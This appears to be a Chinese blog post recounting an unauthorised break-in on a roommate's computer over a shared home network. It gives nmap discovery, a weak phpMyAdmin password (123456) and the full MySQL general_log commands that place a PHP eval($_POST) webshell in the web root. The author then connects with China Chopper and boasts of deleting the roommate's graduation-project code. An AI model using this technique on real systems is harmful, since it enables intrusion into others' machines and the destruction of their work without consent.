天天看點

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

晚上下閑來無事,租的較高價的電梯大廈一共兩間房,我和另外一個同學各住一間,隔壁一牆之隔的他正在打遊戲,我比較愛學習,随便玩玩,就突然引發了一次簡單滲透。。。 無關緊要的過程就不寫了,下面簡單記錄下主要有用的步驟。

首先nmap掃描内網發現

發現内網裡面存活的主機,不多,簡單排除下,估計192.168.1.101就是隔壁室友的電腦了,發現80、3306端口

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

通路下80,如下圖,最近在做畢業設計,很明顯這是他的電腦,裡面還有sql注入演練平台,phpMyAdmin桌面控制.

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

首先手工回顧一下sql注入吧,忘得差不多了都,整個過程我就不記錄了,就記錄用到的如下:

擷取資料庫路徑

D:\phpstudy\PHPTutorial\MySQL\data\

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

擷取資料庫版本5.5.53

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

擷取目前連接配接資料庫使用者

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

擷取目前資料庫security

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

最後直接準備寫webshell,看能不能拿下。

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

發現由于secure_file_priv權限問題,沒戲。心有不甘,繼續看看吧!

phpmyadmin背景登入看看

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

猜測密碼應該不複雜,簡單測試下,發現密碼123456弱密碼,然後sql語句寫webshell也是一樣,不能夠寫入如下:

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

下面就是本次記錄的關鍵地方了

檢視secure_file_priv值,結果如下為NULL,說明不能使用loadfile,into outfile進行讀寫檔案。

show global variables like 'secure_file_priv';

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

接下來就是要突破這一限制,寫webshell。

mysql中有兩個全局變量是我們getshell需要用到的重要變量:

general_log

general_log_file

general_log 是mysql中記錄sql操作的日志,所有的查詢語句會記錄在一個日志檔案中,但因為時間長了會導緻日志檔案非常大,是以預設為關閉,有時候在管理者需要進行排錯時才會暫時性的打開這個變量

general_log_file 就是記錄檔存放的路徑:

show variables like 'general_log%';

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

注:此處的記錄檔路徑并不是預設的,因為之前做過一遍已經将其修改了

接下來就要getshell

1.首先打開記錄檔記錄

set global general_log = 'ON';

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

2.設定操作記錄日志路徑

set global general_log_file='路徑位址'

set global general_log_file='D:\\phpstudy\\PHPTutorial\\WWW\\zzqsmile.php'

這裡我再換個目錄存放記錄檔,即在網站根目錄

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

3.執行sql語句,mysql會将執行的語句内容記錄到我們指定的檔案中,就可以getshell了

select '<?php phpinfo();@eval($_POST[zzqsmile]);?>'

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

4.通路webshell,如下,沒問題,然後上菜刀砍他!

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

php admin_priv,一次phpmyadmin突破secure_file_priv寫shell 的滲透

圖檔.png

打遊戲的注意了,畢業設計寫的代碼被删了!好好學習吧。